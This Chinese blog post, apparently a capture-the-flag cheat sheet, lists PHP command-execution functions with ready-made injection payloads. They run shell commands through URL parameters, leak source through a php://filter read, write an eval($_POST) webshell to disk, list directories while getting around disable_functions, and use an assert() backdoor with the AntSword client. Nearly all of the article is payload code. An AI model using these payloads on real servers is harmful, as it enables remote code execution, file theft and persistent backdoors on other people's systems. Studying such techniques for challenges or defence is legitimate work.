梦の博客 欢迎来到我的破站
歌曲封面 未知作品

网站已运行 362 天 13 小时 48 分

Powered by Typecho & Sunny

2 online · 50 ms

Title

常见的命令执行函数

云梦

·

Article

1.system() #读取执行命令

♾️ abap 代码:
?c=system("tac 0fla*");

2.passthru() #读取执行命令

♾️ abap 代码:
?c=passthru("tac 0fla*");

3.eval() #执行php

♾️ abap 代码:
?c=eval($_GET[1]);&1=phpinfo();  #因为是以php代码形式来执行的,所以结尾必须有分号。

4.include #读取文件

♾️ abap 代码:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

5.file_put_contents() #写入文件

♾️ abap 代码:
file_put_contents("yunmeng.php", '<?php eval($_POST["cmd"]); ?>'); 
file_put_contents("yunmeng.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 

6.show_source() #读取并显示(php内置函数)

♾️ abap 代码:
c=show_source("flag.php");

7.highlight_file() #回显文件内容

♾️ abap 代码:
c=highlight_file("/flag.txt");

8.readgzfile() #可以读取非gz格式的文件

♾️ abap 代码:
?c=readgzfile('/flag.txt');

9.glob函数 #可以遍历目录,并且不受disable_functions的限制。

glob查找根目录下的所有目录(glob:// /*这样更加清楚些)。然后循环执行并输出给$f,在输出$f。

♾️ abap 代码:
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

10.assert #转接头assert(),如果 assertion 是字符串,它将会被assert() 当做 PHP 代码来执行。

利用蚁剑获取flag,编码选择base64

♾️ php 代码:
https://123123.men/?1=assert($_POST[2]);

exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
参考文章: https://www.php.cn/php-weizijiaocheng-298828.html

关于linux命令中的通配符: https://www.cnblogs.com/ysuwangqiang/p/11364173.html

现在已有 0 条评论,0 人点赞
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主